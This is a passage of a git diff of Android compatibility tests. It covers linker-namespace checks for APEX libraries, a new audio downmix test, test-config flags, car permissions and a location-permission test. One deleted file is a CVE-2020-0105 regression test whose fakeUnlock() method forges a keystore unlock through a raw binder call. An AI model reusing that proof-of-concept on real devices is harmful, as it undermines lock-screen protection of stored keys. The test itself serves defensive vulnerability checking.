+  if (!jobject_array_to_set(env, java_apex_public_libraries, &apex_public_libraries,
+                            &error_msgs)) {
     success = false;
-    errors.push_back("Errors in runtime public library file:" + error_msg);
+    errors.push_back("Errors in APEX public library list:" + error_msgs);
   }
 
   // Check the system libraries.
@@ -362,8 +397,8 @@
   // /apex/com.android.*/lib*.
   std::unordered_set<std::string> system_library_search_paths;
 
-  for (const auto& path : library_search_paths) {
-    for (const auto& regex : kSystemPathRegexes) {
+  for (const std::string& path : library_search_paths) {
+    for (const std::regex& regex : kSystemPathRegexes) {
       if (std::regex_match(path, regex)) {
         system_library_search_paths.insert(path);
         break;
@@ -374,7 +409,7 @@
   // These paths should be tested too - this is because apps may rely on some
   // libraries being available there.
   system_library_search_paths.insert(kSystemLibraryPath);
-  system_library_search_paths.insert(kArtApexLibraryPath);
+  system_library_search_paths.insert(kApexLibraryPaths.begin(), kApexLibraryPaths.end());
 
   if (!check_path(env, clazz, kSystemLibraryPath, system_library_search_paths,
                   system_public_libraries,
@@ -387,17 +422,19 @@
   // don't complain about that in that case.
   bool check_absence = !android::base::GetBoolProperty("ro.vndk.lite", false);
 
-  // Check the runtime libraries.
-  if (!check_path(env, clazz, kArtApexLibraryPath, {kArtApexLibraryPath},
-                  runtime_public_libraries,
-                  /*test_system_load_library=*/true,
-                  check_absence, &errors)) {
-    success = false;
+  // Check the APEX libraries.
+  for (const std::string& apex_path : kApexLibraryPaths) {
+    if (!check_path(env, clazz, apex_path, {apex_path},
+                    apex_public_libraries,
+                    /*test_system_load_library=*/true,
+                    check_absence, &errors)) {
+      success = false;
+    }
   }
 
   if (!success) {
     std::string error_str;
-    for (const auto& line : errors) {
+    for (const std::string& line : errors) {
       error_str += line + '\n';
     }
     return env->NewStringUTF(error_str.c_str());
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 796fbd8..1f4f351 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -63,7 +63,6 @@
         "libmediandk.so",
         "libm.so",
         "libnativewindow.so",
-        "libneuralnetworks.so",
         "libOpenMAXAL.so",
         "libOpenSLES.so",
         "libRS.so",
@@ -78,12 +77,16 @@
       "libclang_rt.hwasan-aarch64-android.so"
     };
 
-    // Libraries listed in public.libraries.android.txt, located in /apex/com.android.art/${LIB}
-    private final static String[] PUBLIC_ART_LIBRARIES = {
+    // Libraries listed in public.libraries.android.txt that are located in APEXes
+    private final static String[] PUBLIC_APEX_LIBRARIES = {
+        // Libraries in /apex/com.android.i18n/${LIB}
+        "libicu.so",
         "libicui18n.so",
         "libicuuc.so",
+        // Libraries in /apex/com.android.art/${LIB}
         "libnativehelper.so",
-        "libsigchain.so"
+        // Libraries in /apex/com.android.neuralnetworks/${LIB}
+        "libneuralnetworks.so",
     };
 
     // The grey-list.
@@ -185,13 +188,13 @@
 
     public static String runAccessibilityTest() throws IOException {
         List<String> systemLibs = new ArrayList<>();
-        List<String> artApexLibs = new ArrayList<>();
+        List<String> apexLibs = new ArrayList<>();
 
         Collections.addAll(systemLibs, PUBLIC_SYSTEM_LIBRARIES);
         Collections.addAll(systemLibs, OPTIONAL_SYSTEM_LIBRARIES);
-	// System path could contain public ART libraries on foreign arch. http://b/149852946
+        // System path could contain public ART libraries on foreign arch. http://b/149852946
         if (isForeignArchitecture()) {
-            Collections.addAll(systemLibs, PUBLIC_ART_LIBRARIES);
+            Collections.addAll(systemLibs, PUBLIC_APEX_LIBRARIES);
         }
 
         if (InstrumentationRegistry.getContext().getPackageManager().
@@ -199,7 +202,7 @@
             systemLibs.add(WEBVIEW_PLAT_SUPPORT_LIB);
         }
 
-        Collections.addAll(artApexLibs, PUBLIC_ART_LIBRARIES);
+        Collections.addAll(apexLibs, PUBLIC_APEX_LIBRARIES);
 
         // Check if /system/etc/public.libraries-company.txt and /product/etc/public.libraries
         // -company.txt files are well-formed. The libraries however are not loaded for test;
@@ -232,11 +235,11 @@
         }
 
         return runAccessibilityTestImpl(systemLibs.toArray(new String[systemLibs.size()]),
-                                        artApexLibs.toArray(new String[artApexLibs.size()]));
+                                        apexLibs.toArray(new String[apexLibs.size()]));
     }
 
     private static native String runAccessibilityTestImpl(String[] publicSystemLibs,
-                                                          String[] publicRuntimeLibs);
+                                                          String[] publicApexLibs);
 
     private static void invokeIncrementGlobal(Class<?> clazz) throws Exception {
         clazz.getMethod("incrementGlobal").invoke(null);
@@ -385,7 +388,7 @@
         String error = null;
         List<String> publicLibs = new ArrayList<>();
         Collections.addAll(publicLibs, PUBLIC_SYSTEM_LIBRARIES);
-        Collections.addAll(publicLibs, PUBLIC_ART_LIBRARIES);
+        Collections.addAll(publicLibs, PUBLIC_APEX_LIBRARIES);
         for (String lib : publicLibs) {
             String result = LinkerNamespacesHelper.tryDlopen(lib);
             if (result != null) {
diff --git a/tests/tests/match_flags/AndroidTest.xml b/tests/tests/match_flags/AndroidTest.xml
index a5fadab..22cc54d 100644
--- a/tests/tests/match_flags/AndroidTest.xml
+++ b/tests/tests/match_flags/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/media/src/android/media/cts/AudioHelper.java b/tests/tests/media/src/android/media/cts/AudioHelper.java
index ccd317d..bfed250 100644
--- a/tests/tests/media/src/android/media/cts/AudioHelper.java
+++ b/tests/tests/media/src/android/media/cts/AudioHelper.java
@@ -98,6 +98,79 @@
     }
 
     /**
+     * Returns a consecutive bit mask starting from the 0th bit indicating which channels
+     * are active, used for maskArray below.
+     *
+     * @param channelMask the channel mask for audio data.
+     * @param validMask the valid channels to permit (should be a subset of channelMask) but
+     *                  not checked.
+     * @return an integer whose consecutive bits are set for the channels that are permitted.
+     */
+    private static int packMask(int channelMask, int validMask) {
+        final int channels = Integer.bitCount(channelMask);
+        if (channels == 0) {
+            throw new IllegalArgumentException("invalid channel mask " + channelMask);
+        }
+        int packMask = 0;
+        for (int i = 0; i < channels; ++i) {
+            final int lowbit = channelMask & -channelMask;
+            packMask |= (validMask & lowbit) != 0 ? (1 << i) : 0;
+            channelMask -= lowbit;
+        }
+        return packMask;
+    }
+
+    /**
+     * Zeroes out channels in an array of audio data for testing.
+     *
+     * @param array of audio data.
+     * @param channelMask representation for the audio data.
+     * @param validMask which channels are valid (other channels will be zeroed out).  A subset
+     *                  of channelMask.
+     */
+    public static void maskArray(byte[] array, int channelMask, int validMask) {
+        final int packMask = packMask(channelMask, validMask);
+        final int channels = Integer.bitCount(channelMask);
+        int j = 0;
+        for (int i = 0; i < array.length; ++i) {
+            if ((packMask & (1 << j)) == 0) {
+                array[i] = 0;
+            }
+            if (++j >= channels) {
+                j = 0;
+            }
+        }
+    }
+
+    public static void maskArray(short[] array, int channelMask, int validMask) {
+        final int packMask = packMask(channelMask, validMask);
+        final int channels = Integer.bitCount(channelMask);
+        int j = 0;
+        for (int i = 0; i < array.length; ++i) {
+            if ((packMask & (1 << j)) == 0) {
+                array[i] = 0;
+            }
+            if (++j >= channels) {
+                j = 0;
+            }
+        }
+    }
+
+    public static void maskArray(float[] array, int channelMask, int validMask) {
+        final int packMask = packMask(channelMask, validMask);
+        final int channels = Integer.bitCount(channelMask);
+        int j = 0;
+        for (int i = 0; i < array.length; ++i) {
+            if ((packMask & (1 << j)) == 0) {
+                array[i] = 0;
+            }
+            if (++j >= channels) {
+                j = 0;
+            }
+        }
+    }
+
+    /**
      * Create and fill a short array with complete sine waves so we can
      * hear buffer underruns more easily.
      */
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 56df011..e51f010 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -770,11 +770,10 @@
 
             // volume same
             mAudioManager.setStreamVolume(stream, maxVolume, 0);
-            for (int k = 0; k < maxVolume; k++) {
-                mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
-                assertEquals("Vol ADJUST_RAISE onADJUST_SAME stream:" + stream,
-                        maxVolume, mAudioManager.getStreamVolume(stream));
-            }
+            mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            assertEquals("Vol ADJUST_RAISE onADJUST_SAME stream:" + stream,
+                    maxVolume, mAudioManager.getStreamVolume(stream));
 
             mAudioManager.setStreamVolume(stream, maxVolume, 0);
         }
@@ -800,15 +799,15 @@
         assertMusicActive(true);
 
         // adjust volume as ADJUST_SAME
-        for (int k = 0; k < maxMusicVolume; k++) {
-            mAudioManager.adjustVolume(ADJUST_SAME, 0);
-            assertStreamVolumeEquals(STREAM_MUSIC, maxMusicVolume);
-        }
+        mAudioManager.adjustVolume(ADJUST_SAME, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+        assertStreamVolumeEquals(STREAM_MUSIC, maxMusicVolume);
 
         // adjust volume as ADJUST_RAISE
         mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
         volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
         mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
         assertStreamVolumeEquals(STREAM_MUSIC, Math.min(volumeDelta, maxMusicVolume));
 
         // adjust volume as ADJUST_LOWER
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index cc19ba5..d179c5a 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -1720,7 +1720,7 @@
 
         playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
                 TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, TEST_FREQUENCY, TEST_SR, TEST_CONF,
-                NO_WAIT);
+                NO_WAIT, 0 /* mask */);
     }
 
     @Test
@@ -1762,7 +1762,7 @@
                 for (int TEST_CONF : TEST_CONF_ARRAY) {
                     playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
                             TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR, TEST_CONF,
-                            WAIT_MSEC);
+                            WAIT_MSEC, 0 /* mask */);
                     frequency += 50; // increment test tone frequency
                 }
             }
@@ -1771,7 +1771,8 @@
 
     private void playOnceStreamData(String testName, int testMode, int testStream,
             float testSweep, boolean isLowRamDevice, int testFormat, double testFrequency,
-            int testSr, int testConf, long waitMsec) throws InterruptedException {
+            int testSr, int testConf, long waitMsec, int mask)
+            throws InterruptedException {
         final int channelCount = Integer.bitCount(testConf);
         if (isLowRamDevice
                 && (testSr > 96000 || channelCount > 4)) {
@@ -1790,9 +1791,9 @@
         assertEquals(testName, testConf, format.getChannelMask());
         assertEquals(testName, channelCount, format.getChannelCount());
         assertEquals(testName, testFormat, format.getEncoding());
-        final int sourceSamples = channelCount
-                * AudioHelper.frameCountFromMsec(500,
-                format); // duration of test tones
+        // duration of test tones
+        final int frames = AudioHelper.frameCountFromMsec(500 /* ms */, format);
+        final int sourceSamples = channelCount * frames;
         final double frequency = testFrequency / channelCount;
 
         int written = 0;
@@ -1815,6 +1816,9 @@
                 byte data[] = AudioHelper.createSoundDataInByteArray(
                         sourceSamples, testSr,
                         frequency, testSweep);
+                if (mask != 0) {
+                    AudioHelper.maskArray(data, testConf, mask);
+                }
                 while (written < data.length) {
                     int samples = Math.min(data.length - written, samplesPerWrite);
                     int ret = track.write(data, written, samples);
@@ -1827,6 +1831,9 @@
                 short data[] = AudioHelper.createSoundDataInShortArray(
                         sourceSamples, testSr,
                         frequency, testSweep);
+                if (mask != 0) {
+                    AudioHelper.maskArray(data, testConf, mask);
+                }
                 while (written < data.length) {
                     int samples = Math.min(data.length - written, samplesPerWrite);
                     int ret = track.write(data, written, samples);
@@ -1839,6 +1846,9 @@
                 float data[] = AudioHelper.createSoundDataInFloatArray(
                         sourceSamples, testSr,
                         frequency, testSweep);
+                if (mask != 0) {
+                    AudioHelper.maskArray(data, testConf, mask);
+                }
                 while (written < data.length) {
                     int samples = Math.min(data.length - written, samplesPerWrite);
                     int ret = track.write(data, written, samples,
@@ -3225,7 +3235,7 @@
                     }
                     playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
                             TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR, TEST_CONF,
-                            WAIT_MSEC);
+                            WAIT_MSEC, 0 /* mask */);
                     frequency += 50; // increment test tone frequency
                 }
             }
@@ -3281,6 +3291,61 @@
     }
 
     /**
+     * Verifies downmixer works with different AudioTrack surround channel masks.
+     *
+     * Also a listening test: on a stereo output device, you should hear sine wave tones
+     * instead of silence if the downmixer is working.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testDownmix() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final String TEST_NAME = "testDownmix";
+        final int TEST_FORMAT_ARRAY[] = {
+            // AudioFormat.ENCODING_PCM_8BIT,  // sounds a bit tinny
+            AudioFormat.ENCODING_PCM_16BIT,
+            AudioFormat.ENCODING_PCM_FLOAT,
+        };
+        final int TEST_SR_ARRAY[] = {
+            48000,
+        };
+        final int TEST_CONF_ARRAY[] = {
+            // This test will play back FRONT_WIDE_LEFT, then FRONT_WIDE_RIGHT.
+            AudioFormat.CHANNEL_OUT_FRONT_LEFT | AudioFormat.CHANNEL_OUT_FRONT_RIGHT |
+            AudioFormat.CHANNEL_OUT_FRONT_WIDE_LEFT | AudioFormat.CHANNEL_OUT_FRONT_WIDE_RIGHT,
+        };
+
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final float TEST_SWEEP = 0; // sine wave only
+        final boolean TEST_IS_LOW_RAM_DEVICE = false;
+        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
+            double frequency = 400; // Note: frequency changes for each test
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_CONF : TEST_CONF_ARRAY) {
+                    // Remove the front left and front right channels.
+                    int signalMask = TEST_CONF & ~(AudioFormat.CHANNEL_OUT_FRONT_LEFT
+                            | AudioFormat.CHANNEL_OUT_FRONT_RIGHT);
+                    // Play all the "surround channels" in the mask individually
+                    // at different frequencies.
+                    while (signalMask != 0) {
+                        final int lowbit = signalMask & -signalMask;
+                        playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
+                                TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR,
+                                TEST_CONF, WAIT_MSEC, lowbit);
+                        signalMask -= lowbit;
+                        frequency += 50; // increment test tone frequency
+                    }
+                }
+            }
+        }
+    }
+
+    /**
      * Ensure AudioTrack.getMinBufferSize invalid arguments return BAD_VALUE instead
      * of throwing exception.
      *
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
index 746f8b2..5deef30 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system"/>
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
index 79ea698..73ff59a 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAtomicInstallTestCases.apk" />
diff --git a/tests/tests/packageinstaller/install/AndroidTest.xml b/tests/tests/packageinstaller/install/AndroidTest.xml
index a890706..65ab22f 100644
--- a/tests/tests/packageinstaller/install/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
diff --git a/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml b/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml
index 4f3c46b..c4aea70 100644
--- a/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
diff --git a/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml b/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml
index fbaebed..b1d19f8 100644
--- a/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
diff --git a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
index d8f7132..78a60e9 100644
--- a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
+++ b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index dd98214..9418a06 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index 27b7c3b..4117a78 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -385,6 +385,11 @@
          android:label="@string/car_permission_car_cluster_control"
          android:description="@string/car_permission_desc_car_cluster_control"/>
 
+    <permission android:name="android.car.permission.CAR_MONITOR_CLUSTER_NAVIGATION_STATE"
+        android:protectionLevel="signature|privileged"
+        android:label="@string/car_permission_car_monitor_cluster_navigation_state"
+        android:description="@string/car_permission_desc_car_monitor_cluster_navigation_state"/>
+
     <permission android:name="android.car.permission.CAR_HANDLE_USB_AOAP_DEVICE"
          android:protectionLevel="system|signature"
          android:label="@string/car_permission_label_car_handle_usb_aoap_device"
@@ -480,6 +485,11 @@
         android:label="@string/car_permission_label_monitor_input"
         android:description="@string/car_permission_desc_monitor_input"/>
 
+    <permission android:name="android.car.permission.CONTROL_CAR_APP_LAUNCH"
+        android:protectionLevel="signature|privileged"
+        android:label="@string/car_permission_label_control_car_app_launch"
+        android:description="@string/car_permission_desc_control_car_app_launch"/>
+
     <uses-permission android:name="android.permission.CALL_PHONE"/>
     <uses-permission android:name="android.permission.DEVICE_POWER"/>
     <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"/>
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
index 614cdc6..ff261f6e 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
@@ -17,8 +17,11 @@
 package android.permission3.cts
 
 import android.Manifest.permission.ACCESS_BACKGROUND_LOCATION
+import android.Manifest.permission.ACCESS_COARSE_LOCATION
 import android.Manifest.permission.ACCESS_FINE_LOCATION
+import android.support.test.uiautomator.By
 import org.junit.Test
+import org.junit.Assert.assertNull
 
 /**
  * Runtime permission behavior apps targeting API 30
@@ -53,4 +56,23 @@
             pressBack()
         }
     }
+
+    @Test
+    fun testRequestFgLocationAndNoAccuracyOptions() {
+        installPackage(APP_APK_PATH_30)
+        assertAppHasPermission(ACCESS_FINE_LOCATION, false)
+        assertAppHasPermission(ACCESS_COARSE_LOCATION, false)
+
+        requestAppPermissionsAndAssertResult(ACCESS_FINE_LOCATION to false,
+                ACCESS_COARSE_LOCATION to false) {
+            // Verify there's no location accuracy options
+            val locationAccuracyOptions = waitFindObjectOrNull(By.res(
+                    "com.android.permissioncontroller:id/permission_location_accuracy"), 1000L)
+            assertNull("For apps targetSDK < 31, location permission dialog shouldn't show " +
+                    "accuracy options. Please update the system with " +
+                    "the latest (at least Oct, 2021) mainline modules.",
+                    locationAccuracyOptions)
+            return
+        }
+    }
 }
diff --git a/tests/tests/resourcesloader/AndroidTest.xml b/tests/tests/resourcesloader/AndroidTest.xml
index 35e5951..154accb 100644
--- a/tests/tests/resourcesloader/AndroidTest.xml
+++ b/tests/tests/resourcesloader/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index fbf24fd..675106f 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -27,7 +27,6 @@
     <uses-permission android:name="android.permission.RECORD_AUDIO"/>
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
 
     <!-- For FileIntegrityManager -->
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0105.java b/tests/tests/security/src/android/security/cts/CVE_2020_0105.java
deleted file mode 100644
index 3748fc4..0000000
--- a/tests/tests/security/src/android/security/cts/CVE_2020_0105.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.app.KeyguardManager;
-import android.content.Context;
-import android.os.IBinder;
-import android.os.Parcel;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.platform.test.annotations.AsbSecurityTest;
-import android.security.keystore.KeyGenParameterSpec;
-import android.security.keystore.KeyProperties;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-import java.lang.reflect.Method;
-import java.security.KeyStore;
-import javax.crypto.KeyGenerator;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeNotNull;
-
-@RunWith(AndroidJUnit4.class)
-public class CVE_2020_0105 {
-    private WakeLock mScreenLock;
-
-    @Before
-    public void setUp() {
-        String TAG = "CVE-2020-0105";
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        assumeNotNull(context);
-        PowerManager powerManager = context.getSystemService(PowerManager.class);
-        assumeNotNull(powerManager);
-        mScreenLock = powerManager.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK
-                | PowerManager.ACQUIRE_CAUSES_WAKEUP, TAG);
-        assumeNotNull(mScreenLock);
-        mScreenLock.acquire();
-        KeyguardManager keyguardManager = (KeyguardManager) context
-                .getSystemService(KeyguardManager.class);
-        assumeNotNull(keyguardManager);
-        KeyguardManager.KeyguardLock keyguardLock
-                = keyguardManager.newKeyguardLock("UnlockScreen");
-        assumeNotNull(keyguardLock);
-        keyguardLock.disableKeyguard();
-        keyguardLock.reenableKeyguard();
-    }
-
-    @After
-    public void tearDown() {
-        mScreenLock.release();
-    }
-
-    private boolean fakeUnlock() throws Exception {
-        int actionToPerform = 35;
-        int normalRPC = 0;
-        int isShowing = 0;
-        int userId = 0;
-        Class smClass = Class.forName("android.os.ServiceManager");
-        assumeNotNull(smClass);
-        Method getService = smClass.getMethod("getService", String.class);
-        assumeNotNull(getService);
-        IBinder binder = (IBinder) getService.invoke(smClass,
-                "android.security.keystore");
-        assumeNotNull(binder);
-        Parcel data = Parcel.obtain();
-        assumeNotNull(data);
-        Parcel reply = Parcel.obtain();
-        assumeNotNull(reply);
-        data.writeInterfaceToken("android.security.keystore.IKeystoreService");
-        data.writeInt(isShowing);
-        data.writeInt(userId);
-        if (binder.transact(actionToPerform, data, reply, normalRPC)) {
-            reply.readException();
-            if (reply.readInt() != 1) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    @AsbSecurityTest(cveBugId = 144285084)
-    @Test
-    public void testCVE_2020_0105() throws Exception {
-        String KEY_ALIAS = "key";
-        String KEYSTORE = "AndroidKeyStore";
-        boolean containsAlias = false;
-        final KeyStore keyStore = KeyStore.getInstance(KEYSTORE);
-        assumeNotNull(keyStore);
-        keyStore.load(null);
-        try {
-            containsAlias = keyStore.containsAlias(KEY_ALIAS);
-        } catch (NullPointerException e) {
-            assumeNoException(e);
-        }
-        if (!containsAlias) {
-            final KeyGenParameterSpec keyGenParameterSpec =
-                    new KeyGenParameterSpec.Builder(KEY_ALIAS,
-                            KeyProperties.PURPOSE_ENCRYPT
-                                    | KeyProperties.PURPOSE_DECRYPT)
-                                            .setBlockModes(
-                                                    KeyProperties.BLOCK_MODE_GCM)
-                                            .setEncryptionPaddings(
-                                                    KeyProperties.ENCRYPTION_PADDING_NONE)
-                                            .setUnlockedDeviceRequired(true)
-                                            .build();
-            assumeNotNull(keyGenParameterSpec);
-            KeyGenerator keyGenerator = KeyGenerator
-                    .getInstance(KeyProperties.KEY_ALGORITHM_AES, KEYSTORE);
-            assumeNotNull(keyGenerator);
-            keyGenerator.init(keyGenParameterSpec);
-            keyGenerator.generateKey();
-        }
-        String message =
-                "Keyguard-bound keys are accessible even when keyguard is visible. "
-                        + "Hence device is vulnerable to b/144285084";
-        assertFalse(message, fakeUnlock());
-    }
-}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index 571c293..b39bc71 100644
